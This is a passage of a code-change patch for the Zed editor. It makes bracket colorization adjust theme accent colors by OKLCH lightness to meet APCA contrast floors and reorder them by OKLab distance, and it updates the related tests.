This PR instead keeps the bracket-specific background fix bounded and
lightness-only in OKLCH, so the resulting color stays much closer to the
authored accent.

### How it works

- **Background Contrast Correction**: accents that fall below the APCA
floor against the editor background are adjusted by changing OKLCH
lightness only, preserving hue and chroma
- **Adjacency Correction**: if the resulting palette is still too weak
between neighboring nesting levels, the palette is reordered
conservatively to improve adjacent separation

That ordering matters. Doing the reorder first can easily be undone by
the background-fix step.

### Color measurement

- background contrast uses APCA, via the existing `apca_contrast` path
- adjacent bracket separation uses OKLab Euclidean distance

APCA is the right tool for bracket-vs-background readability, but it is
not designed to compare two foreground colors against each other. OKLab
distance is a better fit for detecting when neighboring bracket levels
are perceptually too close.

### Thresholds

- background APCA floor: `30` on dark themes, `35` on light themes
- adjacent OKLab target: `0.08` on dark themes, `0.10` on light themes
- light-theme reorder tolerance band: reorder only triggers below
`0.095`, avoiding threshold-artifact reordering on palettes that are
visually fine but narrowly miss `0.10`

### Validation

- `cargo test -p editor bracket_colorization`
- manual comparison on bundled One, Ayu, and Gruvbox theme families

Release Notes:

- Improved bracket colorization by preserving theme accent colors when
possible and applying targeted contrast fixes only when needed.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/editor/src/bracket_colorization.rs | 535 ++++++++++++++++++----
 crates/editor/src/editor.rs               |   9 +-
 crates/theme/src/color_space.rs           |  76 +++
 crates/theme/src/theme.rs                 |   2 +
 4 files changed, 530 insertions(+), 92 deletions(-)
 create mode 100644 crates/theme/src/color_space.rs

diff --git a/crates/editor/src/bracket_colorization.rs b/crates/editor/src/bracket_colorization.rs
index 8c8c3a36e9a73a..3b90d1e2bc0438 100644
--- a/crates/editor/src/bracket_colorization.rs
+++ b/crates/editor/src/bracket_colorization.rs
@@ -2,15 +2,18 @@
 //! Uses tree-sitter queries from brackets.scm to capture bracket pairs,
 //! and theme accents to colorize those.
 
+use std::cmp::Ordering;
 use std::ops::Range;
+use std::sync::Arc;
 
 use crate::{Editor, HighlightKey};
 use collections::{HashMap, HashSet};
-use gpui::{AppContext as _, Context, HighlightStyle};
+use gpui::{AppContext as _, Context, HighlightStyle, Hsla};
 use language::{BufferRow, BufferSnapshot, language_settings::LanguageSettings};
 use multi_buffer::{Anchor, BufferOffset, ExcerptRange, MultiBufferSnapshot};
 use text::OffsetRangeExt as _;
-use ui::{ActiveTheme, utils::ensure_minimum_contrast};
+use theme::{Appearance, Oklab, Oklch, hsla_to_oklab, hsla_to_oklch, oklch_to_hsla};
+use ui::utils::apca_contrast;
 
 impl Editor {
     pub(crate) fn colorize_brackets(&mut self, invalidate: bool, cx: &mut Context<Editor>) {
@@ -22,7 +25,10 @@ impl Editor {
             self.bracket_fetched_tree_sitter_chunks.clear();
         }
 
-        let accents_count = cx.theme().accents().0.len();
+        let Some(accent_data) = self.accent_data.as_ref() else {
+            return;
+        };
+        let accents = accent_data.colors.0.clone();
         let multi_buffer_snapshot = self.buffer().read(cx).snapshot(cx);
 
         let visible_excerpts = self.visible_buffer_ranges(cx);
@@ -52,7 +58,12 @@ impl Editor {
             })
             .collect::<HashMap<Range<text::Anchor>, HashSet<Range<BufferRow>>>>();
 
+        let accents_count = accents.len();
         let bracket_matches_by_accent = cx.background_spawn(async move {
+            if accents_count == 0 {
+                return (HashMap::default(), fetched_tree_sitter_chunks);
+            }
+
             let bracket_matches_by_accent: HashMap<usize, Vec<Range<Anchor>>> =
                 excerpt_data.into_iter().fold(
                     HashMap::default(),
@@ -92,9 +103,6 @@ impl Editor {
             (bracket_matches_by_accent, fetched_tree_sitter_chunks)
         });
 
-        let editor_background = cx.theme().colors().editor_background;
-        let accents = cx.theme().accents().clone();
-
         self.colorize_brackets_task = cx.spawn(async move |editor, cx| {
             if invalidate {
                 editor
@@ -115,11 +123,11 @@ impl Editor {
                         .bracket_fetched_tree_sitter_chunks
                         .extend(updated_chunks);
                     for (accent_number, bracket_highlights) in bracket_matches_by_accent {
-                        let bracket_color = accents.color_for_index(accent_number as u32);
-                        let adjusted_color =
-                            ensure_minimum_contrast(bracket_color, editor_background, 55.0);
+                        let Some(&bracket_color) = accents.get(accent_number) else {
+                            continue;
+                        };
                         let style = HighlightStyle {
-                            color: Some(adjusted_color),
+                            color: Some(bracket_color),
                             ..HighlightStyle::default()
                         };
 
@@ -137,6 +145,194 @@ impl Editor {
     }
 }
 
+const BACKGROUND_APCA_LIGHT: f32 = 35.0;
+const BACKGROUND_APCA_DARK: f32 = 30.0;
+const ADJACENT_OKLAB_LIGHT: f32 = 0.10;
+const ADJACENT_OKLAB_DARK: f32 = 0.08;
+const ADJACENT_OKLAB_LIGHT_INTERVENTION: f32 = 0.095;
+const ADJACENT_OKLAB_DARK_INTERVENTION: f32 = 0.08;
+const LIGHTNESS_CLAMP_MIN: f32 = 0.18;
+const LIGHTNESS_CLAMP_MAX: f32 = 0.92;
+
+pub(crate) fn bracket_colorization_accents(
+    accents: &[Hsla],
+    appearance: Appearance,
+    background: Hsla,
+) -> Arc<[Hsla]> {
+    let (intervention_distance, comfortable_distance, min_background_contrast) = match appearance {
+        Appearance::Light => (
+            ADJACENT_OKLAB_LIGHT_INTERVENTION,
+            ADJACENT_OKLAB_LIGHT,
+            BACKGROUND_APCA_LIGHT,
+        ),
+        Appearance::Dark => (
+            ADJACENT_OKLAB_DARK_INTERVENTION,
+            ADJACENT_OKLAB_DARK,
+            BACKGROUND_APCA_DARK,
+        ),
+    };
+    let background_adjusted = accents
+        .iter()
+        .copied()
+        .map(|accent| adjust_color_for_background(accent, background, min_background_contrast))
+        .collect::<Vec<_>>();
+    let adjusted_min_adj = min_adjacent_oklab_distance(&background_adjusted, background);
+
+    if accents.len() < 3 || adjusted_min_adj >= intervention_distance {
+        return Arc::from(background_adjusted);
+    }
+
+    let reordered = maximize_adjacent_separation(&background_adjusted, background);
+    if min_adjacent_oklab_distance(&reordered, background) >= comfortable_distance {
+        Arc::from(reordered)
+    } else {
+        Arc::from(background_adjusted)
+    }
+}
+
+fn maximize_adjacent_separation(accents: &[Hsla], background: Hsla) -> Vec<Hsla> {
+    let Some((&first, rest)) = accents.split_first() else {
+        return Vec::new();
+    };
+    let mut remaining = rest.to_vec();
+    let mut order = Vec::with_capacity(accents.len());
+    order.push(first);
+    let mut last = first;
+
+    while !remaining.is_empty() {
+        let Some((position, &next)) =
+            remaining
+                .iter()
+                .enumerate()
+                .max_by(|&(_, &left), &(_, &right)| {
+                    compare_candidates(background, last, first, left, right)
+                })
+        else {
+            break;
+        };
+        remaining.swap_remove(position);
+        order.push(next);
+        last = next;
+    }
+
+    order
+}
+
+fn compare_candidates(
+    background: Hsla,
+    last: Hsla,
+    first: Hsla,
+    left: Hsla,
+    right: Hsla,
+) -> Ordering {
+    adjacent_distance(last, left, background)
+        .partial_cmp(&adjacent_distance(last, right, background))
+        .unwrap_or(Ordering::Equal)
+        .then_with(|| {
+            adjacent_distance(first, left, background)
+                .partial_cmp(&adjacent_distance(first, right, background))
+                .unwrap_or(Ordering::Equal)
+        })
+}
+
+fn min_adjacent_oklab_distance(accents: &[Hsla], background: Hsla) -> f32 {
+    if accents.len() < 2 {
+        return f32::MAX;
+    }
+    accents
+        .iter()
+        .copied()
+        .zip(accents.iter().copied().cycle().skip(1))
+        .take(accents.len())
+        .map(|(left, right)| adjacent_distance(left, right, background))
+        .fold(f32::MAX, f32::min)
+}
+
+fn oklab_distance(left: Oklab, right: Oklab) -> f32 {
+    let dl = left.l - right.l;
+    let da = left.a - right.a;
+    let db = left.b - right.b;
+    (dl * dl + da * da + db * db).sqrt()
+}
+
+fn adjacent_distance(left: Hsla, right: Hsla, background: Hsla) -> f32 {
+    oklab_distance(
+        hsla_to_oklab(background.blend(left)),
+        hsla_to_oklab(background.blend(right)),
+    )
+}
+
+fn adjust_color_for_background(
+    color: Hsla,
+    background: Hsla,
+    minimum_background_contrast: f32,
+) -> Hsla {
+    if background_contrast(color, background) >= minimum_background_contrast {
+        return color;
+    }
+
+    let original = hsla_to_oklab(color);
+    let darker_candidate = adjusted_lightness_candidate(
+        color,
+        background,
+        minimum_background_contrast,
+        LIGHTNESS_CLAMP_MIN,
+    );
+    let lighter_candidate = adjusted_lightness_candidate(
+        color,
+        background,
+        minimum_background_contrast,
+        LIGHTNESS_CLAMP_MAX,
+    );
+
+    match (darker_candidate, lighter_candidate) {
+        (Some(darker_candidate), Some(lighter_candidate)) => {
+            let darker_distance = oklab_distance(original, hsla_to_oklab(darker_candidate));
+            let lighter_distance = oklab_distance(original, hsla_to_oklab(lighter_candidate));
+            if darker_distance <= lighter_distance {
+                darker_candidate
+            } else {
+                lighter_candidate
+            }
+        }
+        (Some(darker_candidate), None) => darker_candidate,
+        (None, Some(lighter_candidate)) => lighter_candidate,
+        (None, None) => color,
+    }
+}
+
+fn adjusted_lightness_candidate(
+    color: Hsla,
+    background: Hsla,
+    minimum_background_contrast: f32,
+    target_lightness: f32,
+) -> Option<Hsla> {
+    let original = hsla_to_oklch(color);
+    let lightness_delta = target_lightness - original.l;
+
+    if lightness_delta.abs() <= f32::EPSILON {
+        return None;
+    }
+
+    (1..=128).find_map(|step| {
+        let amount = step as f32 / 128.0;
+        let candidate = oklch_to_hsla(
+            Oklch {
+                l: (original.l + lightness_delta * amount).clamp(0.0, 1.0),
+                chroma: original.chroma,
+                hue: original.hue,
+            },
+            color.a,
+        );
+        (background_contrast(candidate, background) >= minimum_background_contrast)
+            .then_some(candidate)
+    })
+}
+
+fn background_contrast(foreground: Hsla, background: Hsla) -> f32 {
+    apca_contrast(background.blend(foreground), background).abs()
+}
+
 fn compute_bracket_ranges(
     multi_buffer_snapshot: &MultiBufferSnapshot,
     buffer_snapshot: &BufferSnapshot,
@@ -201,7 +397,7 @@ mod tests {
     };
     use collections::HashSet;
     use fs::FakeFs;
-    use gpui::UpdateGlobal as _;
+    use gpui::{Rgba, UpdateGlobal as _, hsla};
     use indoc::indoc;
     use itertools::Itertools;
     use language::{Capability, markdown_lang};
@@ -213,10 +409,154 @@ mod tests {
     use serde_json::json;
     use settings::{AccentContent, SettingsStore};
     use text::{Bias, OffsetRangeExt, ToOffset};
+    use theme::Appearance;
     use theme_settings::ThemeStyleContent;
+    use ui::ActiveTheme;
 
     use util::{path, post_inc};
 
+    fn light_editor_background() -> Hsla {
+        hsla(0.0, 0.0, 0.98, 1.0)
+    }
+
+    fn dark_editor_background() -> Hsla {
+        hsla(0.0, 0.0, 0.12, 1.0)
+    }
+
+    #[test]
+    fn test_auto_bracket_colorization_mode_reorders_weak_palette() {
+        let accents = vec![
+            hsla(0.0, 1.0, 0.68, 1.0),
+            hsla(0.02, 1.0, 0.68, 1.0),
+            hsla(0.34, 1.0, 0.68, 1.0),
+            hsla(0.36, 1.0, 0.68, 1.0),
+        ];
+
+        let original_min_adj = min_adjacent_oklab_distance(&accents, dark_editor_background());
+        let reordered = maximize_adjacent_separation(&accents, dark_editor_background());
+        let reordered_min_adj = min_adjacent_oklab_distance(&reordered, dark_editor_background());
+
+        assert_ne!(reordered.as_slice(), accents.as_slice());
+        assert!(reordered_min_adj > original_min_adj);
+    }
+
+    #[test]
+    fn test_preserves_strong_palette() {
+        let accents = vec![
+            hsla(0.0, 1.0, 0.78, 1.0),
+            hsla(0.16, 1.0, 0.78, 1.0),
+            hsla(0.33, 1.0, 0.78, 1.0),
+            hsla(0.66, 1.0, 0.78, 1.0),
+        ];
+
+        let palette =
+            bracket_colorization_accents(&accents, Appearance::Dark, dark_editor_background());
+
+        assert_eq!(palette.as_ref(), accents.as_slice());
+    }
+
+    #[test]
+    fn test_adjusts_background_failures_preserving_hue_and_chroma() {
+        let accents = vec![
+            hsla(0.58, 1.0, 0.28, 1.0),
+            hsla(0.12, 1.0, 0.28, 1.0),
+            hsla(0.22, 0.9, 0.76, 1.0),
+        ];
+
+        let palette =
+            bracket_colorization_accents(&accents, Appearance::Light, light_editor_background());
+        let original = hsla_to_oklch(accents[2]);
+        let adjusted = hsla_to_oklch(palette[2]);
+
+        assert_ne!(palette.as_ref(), accents.as_slice());
+        assert_eq!(palette.len(), accents.len());
+        assert_eq!(palette[0], accents[0]);
+        assert_eq!(palette[1], accents[1]);
+        assert_ne!(palette[2], accents[2]);
+        assert!((original.chroma - adjusted.chroma).abs() < 0.0001);
+        assert!((original.hue - adjusted.hue).abs() < 0.001);
+        assert_ne!(original.l, adjusted.l);
+        assert!(
+            background_contrast(palette[2], light_editor_background()) >= BACKGROUND_APCA_LIGHT
+        );
+    }
+
+    #[test]
+    fn test_preserves_light_near_miss_palette() {
+        let accents = vec![
+            Hsla::from(Rgba::try_from("#CC241D").expect("valid color")),
+            Hsla::from(Rgba::try_from("#98971A").expect("valid color")),
+            Hsla::from(Rgba::try_from("#D79921").expect("valid color")),
+            Hsla::from(Rgba::try_from("#458588").expect("valid color")),
+            Hsla::from(Rgba::try_from("#B16286").expect("valid color")),
+            Hsla::from(Rgba::try_from("#689D6A").expect("valid color")),
+            Hsla::from(Rgba::try_from("#D65D0E").expect("valid color")),
+        ];
+        let background = Hsla::from(Rgba::try_from("#FBF1C7").expect("valid color"));
+
+        let palette = bracket_colorization_accents(&accents, Appearance::Light, background);
+        let original_min_adj = min_adjacent_oklab_distance(&accents, background);
+
+        assert_eq!(palette.as_ref(), accents.as_slice());
+        assert!(original_min_adj < ADJACENT_OKLAB_LIGHT);
+        assert!(original_min_adj >= ADJACENT_OKLAB_LIGHT_INTERVENTION);
+    }
+
+    #[test]
+    fn test_adjust_color_for_background_prefers_closest_passing_candidate() {
+        // Verify that when both darker and lighter candidates exist,
+        // we pick the one with minimum OKLab distance from the original.
+        let background = hsla(0.0, 0.0, 0.50, 1.0);
+        let min_contrast = 30.0;
+        let color = hsla(0.33, 0.7, 0.46, 1.0);
+
+        assert!(
+            background_contrast(color, background) < min_contrast,
+            "test color must fail contrast check; got {}",
+            background_contrast(color, background)
+        );
+
+        let original = hsla_to_oklab(color);
+        let darker =
+            adjusted_lightness_candidate(color, background, min_contrast, LIGHTNESS_CLAMP_MIN)
+                .expect("fixture must produce a darker passing candidate");
+        let lighter =
+            adjusted_lightness_candidate(color, background, min_contrast, LIGHTNESS_CLAMP_MAX)
+                .expect("fixture must produce a lighter passing candidate");
+
+        let darker_dist = oklab_distance(original, hsla_to_oklab(darker));
+        let lighter_dist = oklab_distance(original, hsla_to_oklab(lighter));
+        let expected = if darker_dist <= lighter_dist {
+            darker
+        } else {
+            lighter
+        };
+        assert_eq!(
+            adjust_color_for_background(color, background, min_contrast),
+            expected
+        );
+    }
+
+    #[test]
+    fn test_background_adjustment_edge_cases() {
+        let color = hsla(0.22, 0.9, 0.76, 1.0);
+        let original_contrast = background_contrast(color, light_editor_background());
+        assert!(original_contrast < 20.0);
+        let palette =
+            bracket_colorization_accents(&[color], Appearance::Light, light_editor_background());
+        assert_ne!(palette.as_ref(), &[color][..]);
+        assert!(
+            background_contrast(palette[0], light_editor_background()) >= BACKGROUND_APCA_LIGHT
+        );
+
+        let impossible_color = hsla(0.58, 1.0, 0.47, 1.0);
+        let impossible_bg = hsla(0.0, 0.0, 0.50, 1.0);
+        assert_eq!(
+            adjust_color_for_background(impossible_color, impossible_bg, 200.0),
+            impossible_color
+        );
+    }
+
     #[gpui::test]
     async fn test_basic_bracket_colorization(cx: &mut gpui::TestAppContext) {
         init_test(cx, |language_settings| {
@@ -291,11 +631,11 @@ where
     2
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 6 hsla(95.00, 38.00%, 62.00%, 1.00)
 7 hsla(39.00, 67.00%, 69.00%, 1.00)
 "#,
@@ -327,7 +667,7 @@ where
 
         assert_eq!(
             "fn main«1()1» «1{}1»
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
 ",
             editor
                 .update(cx, |editor, window, cx| {
@@ -356,7 +696,7 @@ where
 
         assert_eq!(
             r#"«1[LLM-powered features]1»«1(./ai/overview.md)1», «1[bring and configure your own API keys]1»«1(./ai/llm-providers.md#use-your-own-keys)1»
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
 "#,
             &bracket_colors_markup(&mut cx),
             "All markdown brackets should be colored based on their depth"
@@ -368,8 +708,8 @@ where
 
         assert_eq!(
             r#"«1{«2{}2»}1»
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
 "#,
             &bracket_colors_markup(&mut cx),
             "All markdown brackets should be colored based on their depth, again"
@@ -384,7 +724,7 @@ where
         cx.executor().run_until_parked();
 
         assert_eq!(
-            "«1('')1»«1('')1»\n\n«1(«2('')2»)1»«1('')1»\n\n«1('')1»«1(«2('')2»)1»\n1 hsla(207.80, 16.20%, 69.19%, 1.00)\n2 hsla(29.00, 54.00%, 65.88%, 1.00)\n",
+            "«1('')1»«1('')1»\n\n«1(«2('')2»)1»«1('')1»\n\n«1('')1»«1(«2('')2»)1»\n1 hsla(207.80, 81.00%, 66.00%, 1.00)\n2 hsla(29.00, 54.00%, 61.00%, 1.00)\n",
             &bracket_colors_markup(&mut cx),
             "Markdown quote pairs should not interfere with parenthesis pairing"
         );
@@ -403,7 +743,7 @@ where
         .await;
 
         let rows = 100;
-        let footer = "1 hsla(207.80, 16.20%, 69.19%, 1.00)\n";
+        let footer = "1 hsla(207.80, 81.00%, 66.00%, 1.00)\n";
 
         let simple_brackets = (0..rows).map(|_| "ˇ[]\n").collect::<String>();
         let simple_brackets_highlights = (0..rows).map(|_| "«1[]1»\n").collect::<String>();
@@ -477,8 +817,8 @@ where
     let v: Vec<String> = vec!«2[]2»;
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
 "#,
             &bracket_colors_markup(&mut cx),
             "Markdown does not colorize <> brackets"
@@ -495,8 +835,8 @@ where
     let v: Vec«2<String>2» = vec!«2[]2»;
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
 "#,
             &bracket_colors_markup(&mut cx),
             "After switching to Rust, <> brackets are now colorized"
@@ -540,9 +880,9 @@ fn process_data«1()1» «1{
     let map: Result<
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
 "#},
             &bracket_colors_markup(&mut cx),
             "Brackets without pairs should be ignored and not colored"
@@ -563,9 +903,9 @@ fn process_data«1()1» «1{
     let map: Result<Option<Foo<'_, «2()2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
 "#},
             &bracket_colors_markup(&mut cx),
         );
@@ -585,9 +925,9 @@ fn process_data«1()1» «1{
     let map: Result<Option<Foo«2<'_, «3()3»>2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
 "#},
             &bracket_colors_markup(&mut cx),
             "When brackets start to get closed, inner brackets are re-colored based on their depth"
@@ -608,10 +948,10 @@ fn process_data«1()1» «1{
     let map: Result<Option«2<Foo«3<'_, «4()4»>3»>2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
 "#},
             &bracket_colors_markup(&mut cx),
         );
@@ -631,11 +971,11 @@ fn process_data«1()1» «1{
     let map: Result«2<Option«3<Foo«4<'_, «5()5»>4»>3», «3()3»>2» = unimplemented!«2()2»;
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#},
             &bracket_colors_markup(&mut cx),
         );
@@ -687,11 +1027,11 @@ mod foo «1{
     }
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#},
                 comment_lines,
             ),
@@ -719,11 +1059,11 @@ mod foo «1{
     }2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#},
                 comment_lines,
             ),
@@ -750,11 +1090,11 @@ mod foo «1{
     }
     «3{«4{}4»}3»}2»}1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#},
                 comment_lines,
             ),
@@ -781,11 +1121,11 @@ mod foo «1{
     }
     «3{«4{}4»}3»}2»}1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#},
                 comment_lines,
             ),
@@ -842,11 +1182,11 @@ mod foo «1{
     }
     {{}}}}1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#,
                 comment_lines,
             ),
@@ -1353,11 +1693,11 @@ mod foo «1{
     }2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#,},
             &editor_bracket_colors_markup(&editor_snapshot),
             "Multi buffers should have their brackets colored even if no excerpts contain the bracket counterpart (after fn `process_data_2()`) \
@@ -1393,11 +1733,11 @@ mod foo «1{
     }2»
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
-4 hsla(187.00, 47.00%, 59.22%, 1.00)
-5 hsla(355.00, 65.00%, 75.94%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
+4 hsla(187.00, 47.00%, 55.00%, 1.00)
+5 hsla(355.00, 65.00%, 65.00%, 1.00)
 "#,},
             &editor_bracket_colors_markup(&editor_snapshot),
         );
@@ -1424,7 +1764,18 @@ mod foo «1{
         let editor_snapshot = editor
             .update(cx, |editor, window, cx| editor.snapshot(window, cx))
             .unwrap();
-        assert_eq!(
+        let adjusted_palette = cx.update(|cx| {
+            bracket_colorization_accents(
+                &[
+                    Hsla::from(Rgba::try_from("#ff0000").expect("valid override accent")),
+                    Hsla::from(Rgba::try_from("#0000ff").expect("valid override accent")),
+                ],
+                cx.theme().appearance,
+                cx.theme().colors().editor_background,
+            )
+        });
+        let expected_markup = format!(
+            "{}\n1 {}\n2 {}\n",
             indoc! {r#"
 
 
@@ -1442,11 +1793,13 @@ mod foo «1{
         let other_map: Option«1<Vec«2<«1()1»>2»>1» = None;
     }2»
 }1»
-
-1 hsla(0.00, 100.00%, 78.12%, 1.00)
-2 hsla(240.00, 100.00%, 82.81%, 1.00)
 "#,},
-            &editor_bracket_colors_markup(&editor_snapshot),
+            adjusted_palette[0],
+            adjusted_palette[1],
+        );
+        assert_eq!(
+            expected_markup,
+            editor_bracket_colors_markup(&editor_snapshot),
             "After updating theme accents, the editor should update the bracket coloring"
         );
     }
@@ -1536,10 +1889,10 @@ mod foo «1{
                 "    let other_map: Option\u{00ab}2<Vec\u{00ab}3<\u{00ab}4()4\u{00bb}>3\u{00bb}>2\u{00bb} = None;\n",
                 "}1\u{00bb}\n",
                 "\n",
-                "1 hsla(207.80, 16.20%, 69.19%, 1.00)\n",
-                "2 hsla(29.00, 54.00%, 65.88%, 1.00)\n",
-                "3 hsla(286.00, 51.00%, 75.25%, 1.00)\n",
-                "4 hsla(187.00, 47.00%, 59.22%, 1.00)\n",
+                "1 hsla(207.80, 81.00%, 66.00%, 1.00)\n",
+                "2 hsla(29.00, 54.00%, 61.00%, 1.00)\n",
+                "3 hsla(286.00, 51.00%, 64.00%, 1.00)\n",
+                "4 hsla(187.00, 47.00%, 55.00%, 1.00)\n",
             ),
             &editor_bracket_colors_markup(&editor_snapshot),
             "Two close excerpts from the same buffer (within same tree-sitter chunk) should both have bracket colors"
@@ -1592,9 +1945,9 @@ fn small_function«1()1» «1{
     let x = «2(1, «3(2, 3)3»)2»;
 }1»
 
-1 hsla(207.80, 16.20%, 69.19%, 1.00)
-2 hsla(29.00, 54.00%, 65.88%, 1.00)
-3 hsla(286.00, 51.00%, 75.25%, 1.00)
+1 hsla(207.80, 81.00%, 66.00%, 1.00)
+2 hsla(29.00, 54.00%, 61.00%, 1.00)
+3 hsla(286.00, 51.00%, 64.00%, 1.00)
 "#,},
             bracket_colors_markup(&mut cx),
         );
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
